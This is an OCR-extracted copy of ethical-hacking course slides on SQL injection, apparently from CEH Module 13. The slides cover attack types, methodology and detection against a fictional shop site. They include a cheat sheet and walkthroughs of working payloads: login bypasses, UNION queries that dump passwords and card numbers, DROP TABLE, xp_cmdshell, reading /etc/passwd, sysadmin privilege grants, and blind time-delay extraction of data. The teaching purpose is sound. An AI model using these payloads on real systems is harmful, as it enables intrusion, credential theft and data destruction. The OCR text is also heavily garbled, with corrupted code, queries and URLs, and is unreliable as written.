SOL Injection

Module 13

Unmask the Invisible Hacker.




SOL Injection Statistics

After years of steady decline, 2014 witnessed a significa nt uptick in SQL injection
vulnerabilities identified in publicly released software packages

Up to 100k Archos customers compromised by SQL injection attack

1 Million WordPress websites vulnerable to SQL injection attack

The online store Mapp. nl has notified customers that hackers have stolen a portion of their

customer base, including 157,000 email addresses and encrypted passwords,
Security.NL reports. According to a spokesperson, the attack happened via SQL injection

http:fwww net-security org, http//www scmagazineuk. com, http.//www tripwire.com, http/fwww. nltimes.ni
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SOL Most Prevalent clEH
Vulnerability 2015 il i

Malware
Targeted Attack

e

Pos Malware

Account Hijacking
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. Module Objectives

J Understanding SQL Injection SQL Injection Tools

Concepts
_ Understanding different IDS Evasion
d Understanding various types of SQL  gumm s Techniques
Injection Attacks '
SQL injection Countermeasures
Jd Understanding SQL Injection

Methodology SQL Injection Detection Tools
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IModule Flow
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SQL Injection

SQL Injection
Tools
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What is SQL Injection?

SQL injection is a technique used to take advantage of
non-validated input vulnerabilities to pass SQL
commands through a web application for execution by
a backend database

SQL injection is a basic attack used to either gain
unauthorized access to a database or to retrieve
information directly from the database

It is a flaw in web applications and not a database or
web server issue
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Why Bother about SQL Injection?

On the basis of

and the way it

SQL injection can be used to implement the attacks mentioned below:

Authentication
Bypass

Information
Disclosure

Compromised
Data Integrity

Compromised
Availability of Data

Remote Code
Execution

An attacker uses this attack to deface a web page, insert malicious content
into web pages, or alter the contents of a database

Attackers use this attack to delete the database information, delete log, or
audit information that is stored in a database

It assists an attacker to compromise the host 0OS
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How Web Applications Work

User Login Form Internet Web Server
0S System Calls

Operating System Web Application

6329 Tech CNN | 3+ | SELECT * from news where id = 6329

Output
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SQL Injection and Server-side
Technologies

Powerful server-side technologies like ASP.NET and database servers

allow developers to create dynamic, data-driven websites with
Server-side incredible ease
Technology

The power of ASP.NET and SQL can easily be exploited by hackers using
SQL injection attacks

All relational databases, SQL Server, Oracle, IBM DB2, and MySQL, are
susceptible to SQL-injection attacks

SQL injection attacks do not exploit a specific software vulnerability,
instead they target websites that do not follow secure coding practices
for accessing and manipulating data stored in a relational database
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Understanding HTTP Post
Request

G @ http: /fwaww jugeyboy.com/flogon_ aspx?

Account Login

= ..\' Usernamea [hart ]

Password [simpsun J submit

When a user provides information and clicks L o e i
Submit, the browser submits a string to the web <form action="/cgi-bin/login" :
server that contains the user's credentials method=post>

Username: <input type=text
name=usernames>

Password: <input

type=password name=password:>

This string is visible in the body of the HTTP or
HTTPS POST request as:

SAL query at the database
select ¥ from Users where
(username = 'bhart' and

<input type=submit
value=Login>

password = 'simpson');
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Exa“:mpie No:rm al SQ LQuerY |

O f; D http:/fwww juggyboy.com/BadLogin aspx Badl.ogin.aspx.cs
private void cmdlogin Click (object sender,

System.EventArgs e)
; { string strinx =
Boy.com rsorver
- localhost database=northwind uid=sa ;pwd=;";
SglConnection cnx = new SglConnection(striCnx) ;
cnx. Open () ;

| aagin _ il f/This code is susceptible to SQL injection
i ; attacks.
[~ Jason | string strQry = "SELECT Count(*) FROM

Springfield | ]l Users WHERE UserMName='" + txtUser.Text +

Fongiol Pamsword?

"" AND Password="'" + txtPassword.Text +

™ .
r

Bubmil

int intRecs;

SglCommand omd = new SglCommand (strry, onx):
intRecs = (int) omd.ExecuteScalar() ;

if (intRecs>0) {
FormsAunthentication.RedirectFromloginPage (txtlUser
Text, false): } else {

1blMsg.Text = "Login attempt failed.™: }

Constructed SQL Query «€:-ess=rsheev | cnx.close() :

1
SELECT Count(*) FROM Users WHERE | | — S ——_—_—

UserName="Jason' AND Password='"Springfield®

Web Browser

EEEEESEESFEEESEEEEEEEEE

Server-side Code (BadLogin.aspx)
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Understanding an SQL Injection clEn
Query el i

@ {. : http:/ fweww_ juggyboy.com/Badlogin.aspx

Boy.com

Blah' or 1=1 —

Gremrmrrransnsaafiensanaaneas Attacker Launching SQL Injection

Fonget Pussrmond? '

Supemt

SELECT Count(*) FROM Users WHERE UserMName='Elah' or 1=1 --' AND Password='Springfield'’

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 ——' AND Password='"Springfield’

SQL Query Executed Code after —— are now comments
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Understanding an SQL Injection
Query - Code Analysis

A user enters a user name and password that matches a record in the user’s table

A dynamically generated SQL query is used to retrieve the number of matching

rows

The user is then authenticated and redirected to the requested page

When the attacker enters blah' or 1=1 -- then the SQL query will look like:

SELECT Count(*) FROM Users WHERE UserNamse='blah' Or 1=1 —--' AND Password='"

Because a pair of hyphens designate the beginning of a comment in SQL, the query

simply becomes:
SELECT Count{*) FROM Users WHERE UserName='blah' or 1=1

string strQry = "SELECT Count(*) FROM Users WHERE UserName='" +
txtUser .Text + "' AND Password='" + txtPassword.Text + "'";
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Example of a Web App Vulnerable to
SOQL Injection: BadProductList.aspx

0 @ http://www.juggyboyshop.com/BadProductList.aspx

private void cmdFilter Click(cbject sender, System.EventArgs e) {
dgrProducts . CurrentPageIndex = 0;
bindDataGrid{); }

private woid bindDataGridi() {
dgrProducta . DataSource = createDataView() ;
dgrProducts . DataBind() ; }

private DataView createDataView() |
atring strCnx =
"server=localhost;uid=sa;pwd=;database=northwind;";
string str50L = "SELECT ProductId, ProductMame,K " +
"uantityPerUnit, UnitPrice FROM Producta";

//This code is susceptible to 5QL injection attacks.
if (txtFilter.Text.Length > 0) {
strSQL += " WHERE ProductName LIKE '" + txtFilter.Text + '"; }

EglConnection cnx = new SglConnection{ztrCnx) ;
SglDatabdapter ada = new Sgllataldapter (strS50L, cnx);
DataTable dtProducts = new DataTable () ;

PETTTE

gda Fill (dtProducts) ;

return dtProducts_ DefaultView; Atta':k DCCU rs HEfE
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This page displays products
from the Northwind
database and allows users
to filter the resulting list of
products using a textbox
called txtFilter

Like the previous
example (BadLogin.aspx),
this code is vulnerable to
SQL injection attacks

The executed SQL is
constructed dynamically
from a user-supplied
input




Example of a Web App Vulnerable to
SOQL Injection: Attack Analysis

G O http:/faww juggyboyshop.com
N ) ﬁ
Ghiasgil JUEEVBD}"ShOp.COHl e -

e B

Search for Products [ ] @\ {--........ B B amans .l Nawen

SR EERRRER

Attacker Launching

T T T T sQL Injection
145 J=son mypazsE123 ]

451 Georg pass1234

128

A _ blah' UNION Select 0, username,
\ J

password, 0 from users —-
User names and Passwords are displayed

SQL Query Executed

SELECT ProductId, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE
ProductName LIRKE 'bklah' UNION Select 0, username, passwcrd, 0 from users --
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Example of SQL Injection:
Updating Table

(0009 http://www juggyboy.com ."‘W

\_. — 1

il &

JuggyBoy.com

- EREuR }
e riEdEes TEEI I IR I E NN EN NN N R AW
SoEa@LioisiERERER

Forgot Password

Attacker Launching

Email Address [
SQL Injection .

Your password will be sent to your
blah'; UPDATE jb-customers SET jb-email registered email address
= 'infof juggyboy.com' WHERE email
='jJasonfspringfield.com; --

\" SQL Injection Vulnerable Website
SQL Query Executed

SELECT jb-emall, jb-passwd, jb-login id, jb-last name FROM members
WHERE jb-email = 'blah'; UPDATE jb-customers SET jb-email = 'infofjuggyboy.com'’
WHERE email ='jascnfspringfield.com; --';

r
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Example of SQL Injection:
Adding New Records

0000 T OOR

JuggyBoy.com ‘

...-.:'::::“ IIIIIIIIllllllllllllllIIlllllllll} Fﬂrgﬂt Passwurd

Attacker Launching Email Address r T
SQL Injection -

Your password will be sent to your
blah'; INSERT INTC jb-customers ('jb-email',’'jb- registered email address
passwd',"jb-login id','jb-last name') VALUES
(" Jasonfspringfield.com’', "hello’', "jason', 'jason
springfield") ;——

SQL Injection Vulnerable Website

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login id, jb-last name FROM members
WHERE email = 'blah'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login id', 'jb-

last name') VALUES ('jasonflspringfield.com','hello','jason', ‘'jason springfield’):--';
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Example of SQL Injection:
Identifying the Table Name

f N
o o 0 @ http://www juggyboy.com ! m
Y Y ﬁ

f[\ Jug goy B oy.com

H.-i Eaada

:?EEEH'._ :-.:::‘::.I‘II:!IIIIllllllllllll!lIIlllllllll} Furgnt Passwurd

Attacker Launching Email Address [
SQL Injection

Your password will be sent to your
registered email address

blah' AND 1l=(SELECT COUNT(*) FROM

mytable) ; --
A
: You will need to guess table names here SQL Injection Vulnerable Website
Y
SQL Query Executed

SELECT jb-email, jb-passwd, jb-login id, jb-last name FROM table WHERE jb-email =
'blah' AND 1=(SELECT COUNT(*) FROM mytable); --';
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Example of SQL Injection:
Deleting a Table

“« » B '@ http:/ fwww juggyboy.com f

- ‘L JuggyBoy.com

::;:::'_:':1'.‘:". IIIIIIIIllllllllllll!lIIlllllllll} Furgnt Passwurd

ASgaAE. L BRELR

=

Attacker Launching Email Address (
SQL Injection
Your password will be sent to your
registered email address

blah'; DROP TABLE Creditecard;

‘V SQL Injection Vulnerable Website
SQL Query Executed

SELECT jb-email, jb-passwd, jb-login id, jb-last name FROM members
WHERE Jb-email = 'blah'; DROP TABLE Creditcard; --';
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IModule Flow

SQL Injection
Concepts

SQL Injection
Methodology

Evasion
Techniques

C|EH

Coriifbed B Ethical Hachar

Types of
SQL Injection

SQL Injection
Tools

Counter-
measures
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Types of SQL Injection ClEH

Coriifbed B Ethical Hachar

UNION SaL
Injection

System Stored
Procedure

Error
Based SQL Tautology
Injection

End of Line
Comment

SaL -
’ Injection lllegal/Logically
Incorrect Query

Time Delay

Blind SQL

Injection
Boolean
Exploitation
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Error Based SQL Injection C/EH

Coriifbed B Ethical Hachar

. Error based SQL Injection forces the database to perform some
operation in which the result will be an error

- This exploitation may differ from one DBMS to the other

@  Consider the SQL query shown below: In the example, the tester concatenates the value 10 with

the result of the function UTL. INADDR.GSET HOST HEME
SELECT * FROM products WHERE = e =

id product=§id product This Oracle function will try to return the hostname of

the parameter passed to it, which is other query,

€ Consider the request to a script who
the name of the user

executes the query above:

http: / /www.example . com/product . When the database looks for a hostname with
php?id=10 the user database name, it will fail and return

an error message like:
The malicious request would be (for ex:
Oracle 10g): ORA-292257: host SCOTT unknown

http://www.example . com/product . php? Then the tester can manipulate the parameter
id=10| |UTL INADDR.GET HOST HAME ( passed to GET HOST NaME() function and the
{(SELECT user FROM DUAL) )— result will be shown in the error message
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Error Based SQL Injection

(Cont’d)

System Stored

| Procedure

End of Line
Comment

Attackers exploit databases’ stored procedures to perpetrate their attacks

After injecting code into a particular field, legitimate code that follows is nullified
through usage of end of line comments

SELECT * FROM user WHERE name = 'X' AND userid IS NULL;

Illegal/Logically
Incorrect Query

:

An attacker may gain knowledge by injecting illegal/logically incorrect requests
such as injectable parameters, data types, names of tables, etc.

Tautology

Injecting statements that are always true so that queries always return results
upon evaluation of a WHERE condition

SELECT * FROM users WHERE name = ‘¢ OR ‘1/=1'1":

Union SQL
Injection

“UNION SELECT” statement returns the union of the intended dataset with the
target dataset

SELECT MWame, Phone, Address FROM Users WHERE Id=1 UNION ALL
SELECT creditCardNumber,1l,1 FROM CreditCardTable
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Union SQL Injection

R N .

bbb bbb bbb bbb bbb bbb bbb bbb bbb

d This technique involves joining a forged query to the
original query

Result of forged query will be joined to the result of the
original query thereby allowing to obtain the values of
fields of other tables

Example:

SELECT Name K Phone, Address FROM Users WHERE Id=5id

Now set the following Id value:

$id=1 UNION ALL SELECT creditCardNumber,l,l FROM CreditCardTable

The final query is as shown below:

SELECT Mame, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT
creditCardNumber,l,l FROM CreditCardTable

The above query joins the result of the original query with all the credit card users
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Blind SQL Injection

Blind SQL Injection is used when a web application
is vulnerable to an SQL injection but the results of
the injection are not visible to the attacker

No Error
Message

Blind SQL injection is identical to a normal SQL
Generic Injection except that when an attacker attempts to
Page exploit an application rather than seeing a useful
error message, a generic custom page is displayed

This type of attack can become time-intensive
because a new statement must be crafted for
each bit recovered

Time-
intensive

Mote: An attacker can still steal data by asking a series of True and False questions through SQOL statements
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No Error Messages Returned (C|EH

Cortified B Ethical Hschar

STEECECEERLELERER- 8 JuggyBoy'; drop table Orders

5QL Injection

Simple SQL Injection

@O ®© Ty
— r—

0 ' Microsoft OLE DB Provider for
0 ps ] ODBC Drivers errcor '80040e14°
3 [Microsoft] [ODBC SQI Server
0 Driver] [SQL Server]Unclosed
quotation mark before the
We are unable to process charaniem SLrIng &

/shopping/buy.aspx, line 52
your request. Please try

back later.
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Blind SQL Injection: WAITFOR ClEH
DELAY (YES or NO Response) )

o @ah@ | '1r':|:;-:..:::-"-'\.m'|'.-.i|;g;\;i:..-:|‘r'.|:|:-'1'- | .I-.I

» IF EXISTS(SELECT * FROM creditcard)

; WAITFOR DELAY '0:0:10'—
z Check

Al

— “creditcard”

' G E“‘Sti‘” We are unable to process
no

' your request. Please try

back later.
Since no error messages are returned,
use 'waitfor delay' command to
check the SQL execution status

00_0 @ hitpefwewew jugEyboy com " v

WAIT FOR DELAY 'time' (Seconds)
This is just like sleep, wait for specified time.
CPU-safe way to make database wait.
WAITFOR DELAY '0:0:10'——

- —_
BENCHMARK() (Minutes)
This command runs on MySQL server.

BENCHMARFK (howmanytimes, do
this)

We are unable to process
your request. Please try
back later.
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Boolean Exploitation Technique

- true false
HTTP

req l_le_'si*

This technique is very useful when the tester find a Blind
SQL Injection situation, in which nothing is known on the
outcome of an operation
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IModule Flow
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SOL Injection Methodology | C|/EH

Information
Gathering and
SQL Injection
Vulnerability

Detection

Coriifbed B Ethical Hachar

Launch SQL
Injection
Attacks

Advanced SQL
Injection
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Information Gathering CEH

Coriifbed B Ethical Hachar

List all input fields, hidden
fields, and post requests
whose values could be used
in crafting a SQL query

Check if the web application
connects to a Database Server
in order to access some data

Attempt to inject codes into o 4 Try to insert a string value
the input fields to generate £ ¥ where a number is expected
an error L in the input field

Detailed error messages provide
a wealth of information to

an attacker in order to

execute SOL injection

The UNION operator is used to
combine the result-set of two
or more SELECT statements
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Stary Tamgeer

Filier

Identifying Data Entry Paths

CEH

Lertifbad Erhical Hassihar

Attackers analyze web GET and POST requests to identify all the input fields,
hidden fields, and cookies

Step Temper  Clear

Du= TotalD.. Size het.. Sta. Confent.. LUEL

Oiptlene Help

Shezps B8

Load Flags

Burp hiruder Repesiar Window Hel
% Repoater | soqusncer | Docoer | comparer |
Toirped W Spoer

185, 18ms TS5 GET 200 image'png hitpy/imagesapple.comdgioball.. Ln'.m_mmm
<138 ms 193 GET 200 image‘png hitpomagesapplecomdgichel’. LOAD MORMAL

. 1%8ma 1124 GET 200 irage/png Bitp.emaget spplecomygioball. LOAD ROAMAL

I | aia Sl ] HTTF history | WebSockes hisiory ﬂptbﬂll

o 18 me
. H5ms
.. THma

47833 GET MO
a0 GET 200
4] GET 33 testiplain

imagefjpeyg httpe/mmages apple.comiohomne.. LOKAD RORRMAL
image/jpeg httpy emageapphe.comiohome. LOAD RORMAL
hittp f/metresapplecomib’ssfap.. LOAD RORKAL

Fequest Hepden Mams
Host

Lhror-Agtnd

Acceph
Liccept-Language
Accept-Imcodmng
Eeloren

Crogie

Comnectan

Feguest Header Yalue
images apple.com

Mozt 38 (Windovs MT
e prg mmageg=08"..,
en-L en:g={l 5

gop, deflate
hitpedfimages pple cem il
Sl Brwm L WD R K g
keep-alye

Respeonse Header Mame

Startues
Li-Modiicd
Server
rnCioection
Cneanchon

A imptRange
Cerdent-Length
Content-Type
Beeass-Control-Allow-0n...
Cache-Control
Expires

Date
Connecticn

Response Meadsr Value

O - 200

20, 3 Jpey 2001 IR GMT
Apache

chose

chose

byt

45

Imagesprg

hiipsffvesns appla.com, higp.
mua-ages T30

Sat, 16 ey 2074 118900 G,

Sat, 16Aug 2014 111040 G,

keep-aive

L;.‘.IJ Aecuest to hitp Scertfechacker com B8 f302 75 84 161)

(GRER )

Farvard | Drap | | ‘mbsrespti

| [ R [ meacers | e |

GET ¢/ HTTFSf1.1

Bost: cerclifiedhacker.com

Proxy-Conn=ct ton: kesp-alivs

Cache=Control: max=ages

AoGepEe

text/heml, applicacion/ xhtmi+xml, applicacion/ kel qed. 9, imags wshp, *
f=rg=0:8

Peer-Agent: MozillasS5.0 (Windows MT £.3; WOWEL)
Appla¥sbKit/537,3€ (EHTHL, like Gecko) Chrems/35.0.191E.153
Satacirsy7.34

Acecepr-Enceding: gzip,daflacs, adch

Aceept-Language: en-US,en;q=0.8

If-None-Hatch: "07ELSL10bIchl:dlcecE™

If-Modifiaed-Since: Wed, 12 Jan 2011 O05:20:0£ GHT
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Extracting Information through
Error Messages

Error messages are essential for extracting information from the database

It gives you the information about operating system, database type, database
version, privilege level, OS interaction level, etc.

Depending on the type of errors found, you can vary the attack techniques

, |

: : w57 =
Information Gathering
Techn iques http://juggyboy.com/download.php?id=car

Parameter Tampering http://jugeyboy.com/download.php?id=horse

http://juggyboy.com/download.php?id=book

Error may give information such as d
database server name, directory

structures, and the functions used for Error in query: Can't connect
the SQL query to local MySQL server through

socket
Parameters can be tampered directly 'fvar/run/mysqld/mysqld.soc
from address bar or using proxies k' (2)

Attacker manipulates parameters of GET
and POST requests to generate errors
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Extracting Information through
Error Messages (Contd)

Determining Determining
Database Engine Type a SELECT Query Structure

B Mostly the error messages will show you what Try to replicate an error free navigation
DB engine you are working with

Could be as simpleas 'and '1'="10r 'and '1'=
ODBC errors will display database type as part

Generate specific errors
of the driver information

Determine table and column names

If you do not receive any ODBC error ' sroup by columnnames having 1=1 —

message, make an educated guess based _
on the Operating System and Web Server Do we need parenthesis? Is it a subquery?

Injections Select Statement

Most injections will land in the SELECT * FROM table WHERE x
middle of a SELECT statement. In a 'normalinput’ group by x
SELECT clause we almost always having 1=1 -- GROUFP BY x
end up in the WHERE section HAVING x = y ORDER BY x
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Extracting Information through
Error Messages (Contd)

Grouping Error Type Mismatch

& HAVING command allows to further define a & Try to insert strings into numeric fields; the error
query based on the “grouped” fields messages will show the data that could not get

@ The error message will tell us which columns converted

have not been grouped ' union select 1,1,'text',1,1,1 —-

' group by columnnames having 1=1 —- ' union select 1,1, bigint,1,1,1 --

@0 ® 0 T OO @ ® 0 EE———— O

o -

SQLSTATE[44568]: Grouping error: 7

ERROR: column "columnnames” must Error #3132: Data type
appear in the GROUP BY clause orbe &= mismatch.’, details:'could not
used in an aggregate function ! convert text value to numeric
LINE 1: SELECT DISTINCT posts.id, aliiet

posts.* FROM "posts” GROUP BY "pos..

Sitnd & Use time delays or error signatures to determine extract information

Injection '; if condition waitfor delay '0:0:5'" ——
'; union select if{ condition , benchmark (100000, shal ('test')), "false' },1,1,1,1:

Coovright @ by EG-CoUnell. All Riehts Reserved. Reoraductlon is Strictlv Prahibited.




Extracting Information through
Error Messages (Contd)

input fields to generate an error

a single quote ('), a semicolon Microsoft OLE DB Provider for ODBC Drivers
(;} , comments (-}, AND, and OR error 'B0040=l14'

- [Micro=soft] [ODBC SQL Server Driver] [SQL
Server]Unclosed gquotation mark before the
character string '".

/shopping/buy.aspx, line 52

WANEEE . AEEBRW

dANSE .- BLUAER

FEaS@sinuapREER
 FESERESOEERE R

Microsoft OLE DB Provider for ODBC Drivers
error '80040e07' [Microsoft] [ODBC SQL
Server Driver] [SQL Server]Syntax error
converting the wvarchar value 'test' to a
column of data type int. /visa/credit.aspx,
line 17

Attacker

-
n

1
-

1
L]
1
-
-
-
[l
-
L
[

.

1
-

5
[
=
-
-
-
-

"
=

.
-
n

Inu.-.n-u.--.a...-n-.-.-.“.-1-.-.}

Try to insert a string value
where a number is expected
in the input field

Mote: If applications do not provide detailed error messages and return a simple '500 Server Error' or a custom error page
then attempt blind injection techniques
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Testing for SQL Injection C(|EH

Cortified B Ethical Hschar

Testing String

|16

IEIIE

(116)

'OR 1=1--

OR 1=1

'OR '1'='1

; OR '1'="1'

W27+-+

“or1l=1--

'or1=1/*

Testing String
or 1=1--
"or"a"="a
Admin' OR"'
"having 1=1--

" OR 'text' = N'text'
‘'OR2>1

"OR 'text' > 't'

' union select

Password:*/=1-

‘or 1/*

Testing String
9%22+0r+isnull%281%2F0%29+%2F*

' group by userid having 1=1-

'; EXECUTE IMMEDIATE 'SEL' || 'ECT
us' || 'ER’

CRATE USER name IDENTIFIED BY
'‘passi23’

" union select
1load_file{'/etc/passwd'),1,1,1;

'; exec master..xp_cmdshell 'ping
10.10.1.2"-

exec sp_addsrvrolemember 'name’ |
'sysadmin'

GRANT CONMNECT TO name; GRANT
RESOURCE TO name;

' union select * from users where login

=char(114,111,111,116);

Testing String
II**!GRX**Ilf**;f:
.fltljrl

"or 1in (select
@@version)-

"union all select
@@version--

'OR 'unusual' =
'unusual’

'OR 'something' =
‘'some'+'thing’

' OR 'something’'
like ‘some%’

' DR "whatever' in
('whatever')

'OR 2 BETWEEN 1
and 3

' or username like
char|37);

Testing String

UNI/**/ON
SEL/**/ECT

's EXEC ('SEL' + "ECT
Us' +'ER")
+or+isnull®s281%2F
08629+ %2F*

%27+0R+%:277659
%27 H3DH2TT659

0522 +or+isnull%281
%2F0%29+%2 F*

"and 1 in (select
var from temp)-—-

': drop table temp

exec sp_addlogin
'name’, 'password’

@wvar select @var
as var into temp
end --

Note: Check CEHvO Tools DVD, Module: 13 SQL Injection for comprehensive 5QL injection cheat sheet
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Additional Methods to Detect clEH

SQL Injection ) ot

24 Function Testing Example of Function

This testing falls within the scope of Testi ng
black box testing, and as such,

should require no knowledge of the
inner design of the code or logic http://juggyboy/?parameter=1'

http://juggyboy/?parameter=123

Fuzzing Testing http://juggyboy/?parameter=1'#

It is an adaptive SQL injection http://juggyboy/?parameter=1"
testing technique used to discover
coding errors by inputting massive
amount of random data and http://juggyboy/?parameter=1'-
observing the changes in the
output

Static/Dynamic Testing

http://juggyboy/?parameter=1 AND 1=1--

http://juggyboy/?parameter=1 AND 1=2--
http://juggyboy/?parameter=1'/*

c . . o I > —q1? 1q1_1
Analysis of the web application hitp://juggyboy/parametert SN
source code http://juggyboy/?parameter=1 order by 1000
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SQL Injection Black Box Pen
Testing

J Send single quotes as the input data to catch instances where the user input
is not sanitized

J Send double quotes as the input data to catch instances where the user
input is not sanitized

Use right square bracket (the ] character) as the input data to catch instances
where the user input is used as part of a SQL identifier without any input
sanitization

Send long strings of junk data, just as you would send strings to detect buffer
overruns; this action might throw SQL errors on the page

2 Send long strings of single guote characters (or right square brackets or double
quotes)

J These max out the return values from REPLACE and QUOTENAME functions
and might truncate the command variable used to hold the SQL statement
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Source Code Review to Detect
SQL Injection Vulnerabilities

The source code review aims at locating and analyzing the areas of the
code vulnerable to SQL injection attacks

This can be performed either manually or with the help of tools such as
Microsoft Source Code Analyzer, CodeSecure, HP QAlnspect,
PLSQLScanner 2008, etc.

Analyzing the source code without executing

Static
Code Analysis = Helps to understand the security issues present in the
source code of the program

] Code analysis at runtime
Dynamic
Code Analysis Capable of finding the security issues caused by
interaction of code with SQL databases, web services, etc.
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SOL Injection Methodology m

Information
Gathering and SQL
Injection
Vulnerability
Detection

Launch SQL
Injection
Attacks

Advanced SQL
Injection
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Perform Union SQL Injection

Union SQL Injection - Extract
Database Name

http://www. juggyboy . com/page. a
spx?id=1 UNION SELECT ALL
1,DB MAME ,32,4——

[DB_NAME] Returned from the server

Union SQL Injection - Extract
Table Column Names

http://www.juggyboy.com/page . aspx?
id=]1 UNION SELECT ALL

l,column name, 3,4 from

DE MNAME ,i_nfennatin:un schema . column
L ;here table name i

=!EMPLOYEE TABLE'--

[EMPLOYEE_NAME]

a3,

Coriifbed B Ethical Hachar

Union SQL Injection - Extract
Database Tables

http: //www. juggyboy . com/page .aspx?
id=1 UNION SELECT ALL

L, TABLE NAME, 3,4 from sysobjects
where xtype=char (85)--

[EMPLOYEE_TABLE] Returned from the
server

Union SQL Injection - Extract
1st Field Data

http: //www. juggyboy . com/page . aspx?
id=1 UNION SELECT ALL 1,COLUMN-
NAME-1,3,4 from EMPLOYEE NAME --

[FIELD 1 VALUE] Returned from the server
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Perform Error Based SQL clEH
Injection

Coriifbed B Ethical Hachar

Extract Database Name Extract 1st Database Table

& http://www.juggyboy.com/page.aspx? http://www. juggyboy.com/page . aspx?i
id=1 or l=convert(int, (DB NAME) ) - d=1 or l=convert(int, (select top 1
name from sysobjects where

& Syntax error converting the nvarchar value '[DB xtype=char (BE))§ s

NAME]' to a column of data type int.

_ 2 Syntax error converting the nvarchar value
L. ' "[TABLE NAME 1]' to a column of data type int.
=]

Extract 1st Table Column Name Extract 1st Field of 1st Row (Data)

http://www. juggyboy.com/page . aspx2id=1 http://www. juggyboy . com/page . aspx?id=

or l=convert(int, (select top 1 1 or l=convert(int, (select top 1
column name from COLUMN-NAME-1 from TABLE-NAME-1))-—-
DBNAME .information schema.columns :
where table name—'TABLE-NAME-1'))—- Syntax error converting the nvarchar value

= '[FIELD 1 VALUE]' to a column of data type int.
Syntax error converting the nvarchar value

'[COLUMN NAME 1]' to a column of data ' S
type int. ——
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Perform Error Based SQL Injection:
Using Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user
input to eliminate the risk of code injection, otherwise there is a chance of executing malicious SQL

within the stored procedure

Consider the SQL Server Stored Procedure
shown below:

Create procedure user login @Fusername
varchar(20) , @passwd wvarchar(20) As

Declare @sglstring wvarchar(250)
Set Bsqglstring = °
Select 1 from users

Where username = ' + @username + ' and
passwd = ' + (@passwd

exec (Bsglstring) Go User input:
anyusername or l=1' anypassword

The procedure does not sanitize the input, allowing
the return value to display an existing record with
these parameters

Consider the SQL Server Stored Procedure
shown below:

Create procedure get report
Foecolumnamelist varchar(7900) As
Declare @sqlstring wvarchar (8000) Set
@sglstring = ' Select ' +
Gocolumnamelist + ' from ReportTable’
exec (@sglstring) Go

User input:

1 from users; update users set
password = 'password'; select *

This results in the report running and all users’
passwords being updated

Mote: The example given above may seem unlikely due to the use of dynamic SOL to log in a user, consider a dynamic reporting query
where the user selects the columns to view. The user could insert malicious code in this case and compromise the data
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T Bpass Website Logins Using
SQL Injection

Try these at website login

Try to bypass login by avoiding
forms

IMD5 hash check
admin' -- ) ]
@ You can union results with a known

admin' # password and MD5 hash of supplied

admin'/*
' or 1l=1--

rar 1=1§

password

The Web Application will compare your
password and the supplied MD5 hash

' or 1=1/%* instead of MD5 from the database

W s (P Example:

Username : admin

Password : 1234 ' AND 1=0 UNION
ALL SELECT 'admin',
'81deSbdb52d04dc20036dbd831 34055

81dc9%bdb52d04dc20036dbd8313ed055
= MD5(1234)

') or ('1'='1--

Login as different User

' UNION SELECT 1, 'anotheruser', 'doesnt
matter®, 1——
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Perform Blind SQL Injection —
Exploitation (IMySQL)

AN

MySQ)

ax
e

Searching for the
first character of
the first table
entry

/2id=14AND+555=if (or
d(mid( (select+pass+

from+users+limit+0,1
) ,1,1))= 97, 555,777)

vV
If the table “users” contai
and the first character of the first entry in
this column is 97 (letter “a"), then DBMS will
return TRUE; otherwise, FALSE.

Second Character

First Character

Searching for the
second character
of the first table
entry

/?id=1+AND+555=if (ord (mid ( (sel

ect+pass+from+users+limit+0,1)
L2.1))y=Eal.555_ 7T77)

ns a column “pass”

If the table “users” contains a column “pass”
and the second character of the first entry in
this column is 97 (letter «a») , then DBMS
will return TRUE; otherwise, FALSE.

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Blind SQL Injection - Extract
Database User

Check for username length

http: //www_juggyboy.com/page.aspx?id=1; IF (LEN(USER)=1} WAITFOR DELAY '00:00:10'--
http://www_juggyboy.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://www_junggyboy. com/page aspx?id=1; IF (LEN(USER)=32) WAITFOR DELAY '00:00:10'--

Keep increasing the value of LN (usER) until DBMS returns TRUE

Check if 1%t character in username contains ‘A' (a=97), ‘B, or ‘C' etc.

http: LT Juggyboy. r::cxm,.l"page .aspx?id=1; IF (ASCII{lower (substring((USER) , 1,1)})=57) WAITFOR DELAY -
http: /fwww. juggyboy . com/page _aspx?id=1; IF (ASCII(lower{substring((USER} ,1,1)))=%2) WAITFOR DELAY °
http: //www_juggyboy.com/page aspx?id=1; IF (ASCII(lower (substring((USER) ,1,1))}=9%9) WAITFOR DELAY °

Keep incraasing the value of ASCII {lower (substring( {(USER) 1,13} ) until DBMS returns TRUE

Check if 2" character in username contains ‘A"’ (a=97), ‘B’, or ‘C" etc.
http:ffwww_juggyboy.com/page _aspx?id=1; IF (ASCITI (lower {substring{(USER) 2 ,1}))}=57) WAITFOR DELAY '
http: //www_juggyboy.com/page aspx?id=1; IF (ASCII (lower (gubstring((USER)} ,2,1)))=98) WAITFOR DELAY °

http://www. juggyboy.con/page.aspx?id=1; IF (ASCII(lower{substring((USER) ,2,1)))}=9%) WAITFOR DELAY °

Keep increasing the value of ASCII(lower (substring( (USER),2,1))) until DBMS returns TRUE

Check if 3" character in username contains ‘A' (a=97), ‘B, or ‘C’
http://www. juggyboy.com/page.aspx?id=1; IF (ASCII(lower (substring((USER) ,3,1))}}=57) WAITFOR
http: //www. juggyboy . com/page _aspx?id=1; IF (ASCII{lower{substring((USER} ,h3,1)))}=%8) WAITFOR

http://www_juggyboy.com/page . aspx?id=1; IF (ASCII(lower{substring((USER) ,h3,1)))=99) WAITFOR

Keep incraasing the value of ASCII(lower (substring{ (USER) ,3,1)))until DBMS returns TRUE
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Blind SQL Injection - Extract
Database Name

Check for Database Name Length and Name

http: //www.juggyboy . com/page. aspx?id=1; IF (LEN(DB NAME())=4) WAITFOR DELAY '00:00:10'--
http: //www.juggyboy. com/page . aspx?id=1; IF (ASCII (lower(substring( (DB MAME(}),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://www. juggyboy . com/page. aspx?id=1; IF (ASCII(lower(substring((DB NAME())},2,1)))=98) WAITFOR DELAY '00:00:10'--
